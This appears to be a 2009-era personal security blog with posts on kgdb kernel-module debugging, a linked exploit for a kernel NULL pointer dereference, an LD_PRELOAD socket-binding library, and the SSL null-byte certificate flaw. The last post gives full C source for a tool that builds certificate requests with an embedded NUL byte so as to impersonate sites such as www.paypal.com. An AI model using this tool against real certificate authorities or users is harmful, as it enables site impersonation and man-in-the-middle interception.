Fotis' Blog

Recently I received some comments from a friend about a previous article on linux kernel debugging using kgdb. What he asked me was how could he load symbols from a kernel or a kernel module. So I wrote a quick guide to help you start with kernel debugging. After each step I will show you the gdb output.

First of all you should start gdb!

$ gdb
GNU gdb (GDB) 6.8.50.20090628-cvs-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
(gdb)

Then you should load all kernel symbols from the vmlinux file. This can be found at the directory where you compiled the kernel, most probably /usr/src/linux. Remember to compile the kernel using debug information by setting the appropriate option, it will help you a lot!

(gdb) file vmlinux
Reading symbols from /home/fotisl/programs/kgdb/vmlinux...done.
(gdb)

You’re ready to start debugging! Set the target and use the Alt-SysRq-G sequence as it was described at the previous post. You can now set breakpoints, watch anything you want in memory, step or continue running the kernel!

(gdb) target remote /dev/pts/12
Remote debugging using /dev/pts/12
kgdb_breakpoint (key=103, tty=0x0) at kernel/kgdb.c:1721
1721            wmb(); /* Sync point after breakpoint */
(gdb)

Now let’s see how we can debug kernel modules. I will test the l2cap bluetooth kernel module.

You first need to find the object file which contains the module. For l2cap this is net/bluetooth/l2cap.o in the kernel source tree. Transfer this to the host (or the machine running gdb if you’re not using a virtual machine). Then load the module in the virtual machine. This creates a new directory in /sys/module named after the module name, i.e. l2cap. Inside this directory, there is another one named sections which contains the addresses where all sections are loaded. We are interested in the .text section so we read the file /sys/module/l2cap/sections/.text.

$ cat /sys/module/l2cap/sections/.text
0xe0c77000

We know where the .text section is loaded so we can now load the symbols from l2cap.o using the add-symbol-file gdb command.

(gdb) add-symbol-file l2cap.o 0xe0c77000
add symbol table from file "l2cap.o" at
        .text_addr = 0xe0c77000
(y or n) y
Reading symbols from /home/fotisl/programs/kgdb/l2cap.o...done.
(gdb)

If you need to load other sections too, in case they are not contiguous with the text in memory, you need to read their addresses. For example we’ll load both the .text and the .data sections (you should do .bss too but it’s omitted since I wanted to write a quick and dirty guide and it’s already very big!)

Find where both .text and .data are loaded.

$ cat /sys/module/l2cap/sections/.text
0xe0c77000
$ cat /sys/module/l2cap/sections/.data
0xe0c7b438

Then you load apart from the .text section the .data too.

(gdb) add-symbol-file l2cap.o 0xe0c77000 -s .data 0xe0c7b438
add symbol table from file "l2cap.o" at
        .text_addr = 0xe0c77000
        .data_addr = 0xe0c7b438
(y or n) y
Reading symbols from /home/fotisl/programs/kgdb/l2cap.o...done.
(gdb)

You’re now ready to start debugging your kernel module!

Commit afc2b6932f48f200736d3e36ad66fee0ec733136 at the linux kernel is about a NULL pointer dereference that happens under certain circumstances. As many of you already know, NULL pointer dereferences are exploitable and are actually a “hot topic” lately. You can find a lot of references, such as Julien Tinnes’ great blog post, Brad Spender‘s enlightenment framework, etc. I haven’t seen any exploits for this bug yet so I’ve written one. You can download it here. I won’t go into details here, you can read the source code which is full of helpful comments. A description of the exploit would be actually a copy/paste of all the comments here, so it’s better to read the entire source code!

Recently one of the people I follow at twitter (yes, I have a twitter account, you can follow me!) asked if anyone knew an option for lynx which would make it bind to a certain interface. I searched the manual page but there was no such option. Some programs, like netkit telnet, have an option to bind to a certain address, which can be very useful and especially when you’ve joined a VPN.

The first thing that came to my mind is write a library which would automatically bind new sockets to a certain address and then use the environment variable LD_PRELOAD so that the runtime linker would load it when a new program was run. The library should overwrite the socket(2) function and replace it with one which would run the original function to create the socket and then immediately bind it to an address. This address would be taken from an environment variable. And since I wrote the wrapper for socket(2) I could add some extra functionality such as setting various options with setsockopt(2). I wanted the program to be very efficient so it shouldn’t lookup the old socket(2) function each time the wrapper was called. In order to do this I should store the original address of the function at some variable at the beginning. This could be done in a check in the wrapper function and if the address was equal to NULL, then all initialization would take place. However, that would mean an extra check at every call. So I created a constructor which would be called when the library was initially loaded. I used a very low priority so that the constructor was run before any other constructors which could open a socket.

The program is named sockopts and you can find it at my main page, under the programs section. For the moment I have tested it at my local box having one ethernet interface and an openvpn running with a tap interface. And it works great! If you have a feature request or you found that something is broken you can leave a comment here or just email me.

Before some months, at the Black Hat 2009, Moxie Marlinspikes and Dan Kaminsky presented a vulnerability that exists at some implementations of SSL.

It’s concept is pretty simple, you request a certificate having as a CN (common name) www.paypal.com\x00.example.com. This can be easy, especially for some public key infrastructures operated by companies for their internal needs, where server certificates are issued automatically as long as the CN is a host under a specific domain. However, since many SSL implementations use strcmp for validating the remote host, they will only check if the host is equal to the part before \x00! So a malicious user can simply issue such a certificate and using spoofing he can start a man in the middle attack. Furthermore, it is possible to issue a certificate with a CN such as *.paypal.com\x00.example.com which will match all hosts under the paypal.com domain. Or even the CN *\x00.example.com which will match… everything! Jacob Appelbaum has created such a certificate and posted it to the Noisebridge-discuss mailing list.

Firefox 3.5.2 and 3.0.13 have fixed this vulnerability, however I checked with the Internet Explorer browser today and it still has this bug. The test was done at a friend’s pc so I don’t know exactly the patches he has applied or when he last run windows update. It is very interesting that it probably uses the strcpy function for copying the value of CN to the buffer where it keeps the certificate information so when you try to see them, you only see www.paypal.com!

You can use the following program to create your own certificate requests. You run it as follows:

1

$ ./gennullreq www.paypal.com exploit.example.com "Exploit department" "Example Organization" GR

At the output you will get the private key and the certificate request.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102

/*
 * Generate certificate requests containing the NULL byte.
 * Default values are used, like 512 bits.
 * By Fotis Loukos <fotisl@gmail.com>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/bio.h>
#include <openssl/x509v3.h>
#include <openssl/rsa.h>
#include <openssl/evp.h>
#include <openssl/pem.h>
#include <openssl/err.h>
 
BIO *bio_err;
 
void initssl()
{
    CRYPTO_mem_ctrl(CRYPTO_MEM_CHECK_ON);
    bio_err = BIO_new_fp(stderr, BIO_NOCLOSE);
}
 
void finssl()
{
    CRYPTO_cleanup_all_ex_data();
    CRYPTO_mem_leaks(bio_err);
    BIO_free(bio_err);
}
 
int main(int argc, char **argv)
{
    RSA *rsa;
    EVP_PKEY *privkey;
    X509_REQ *req;
    X509_NAME *name;
    char cn[256];
 
    if(argc != 6) {
        fprintf(stderr, "usage: %s <fake> <append> <ou> <o> <c>\n", argv[0]);
        exit(1);
    }
 
    strncpy(cn, argv[1], 256);
    /* The next byte is already \x00 */
    strncpy(cn + strlen(argv[1]) + 1, argv[2], 256 - strlen(argv[1]) - 1);
 
    initssl();
 
    if((privkey = EVP_PKEY_new()) == NULL) {
        fprintf(stderr, "Cannot allocate memory for private key.\n");
        finssl();
        exit(1);
    }
 
    if((req = X509_REQ_new()) == NULL) {
        fprintf(stderr, "Cannot allocate memory for certificate request.\n");
        finssl();
        exit(1);
    }
 
    fprintf(stderr, "Generating RSA keypair...\n");
    if((rsa = RSA_generate_key(512, RSA_F4, NULL, NULL)) == NULL) {
        fprintf(stderr, "Cannot generate keypair:\n");
        fprintf(stderr, "%s\n", ERR_error_string(ERR_get_error(), NULL));
        finssl();
        exit(1);
    }
 
    if(!EVP_PKEY_assign_RSA(privkey, rsa)) {
        fprintf(stderr, "Cannot assign keypair to private key.\n");
        finssl();
        exit(1);
    }
 
    X509_REQ_set_pubkey(req, privkey);
 
    name = X509_REQ_get_subject_name(req);
    X509_NAME_add_entry_by_txt(name, "C", MBSTRING_ASC, argv[5], -1, -1, 0);
    X509_NAME_add_entry_by_txt(name, "O", MBSTRING_ASC, argv[4], -1, -1, 0);
    X509_NAME_add_entry_by_txt(name, "OU", MBSTRING_ASC, argv[3], -1, -1, 0);
    X509_NAME_add_entry_by_txt(name, "CN", MBSTRING_ASC, cn,
            strlen(argv[1]) + 1 + strlen(argv[2]), -1, 0);
 
    if(!X509_REQ_sign(req, privkey, EVP_sha1())) {
        fprintf(stderr, "Cannot sign request.\n");
        finssl();
        exit(1);
    }
 
    fprintf(stderr, "Private key:\n");
    PEM_write_RSAPrivateKey(stdout, rsa, NULL, NULL, 0, NULL, NULL);
    fprintf(stderr, "Request:\n");
    PEM_write_X509_REQ(stdout, req);
 
    X509_REQ_free(req);
    EVP_PKEY_free(privkey);
 
    finssl();
 
    return 0;
}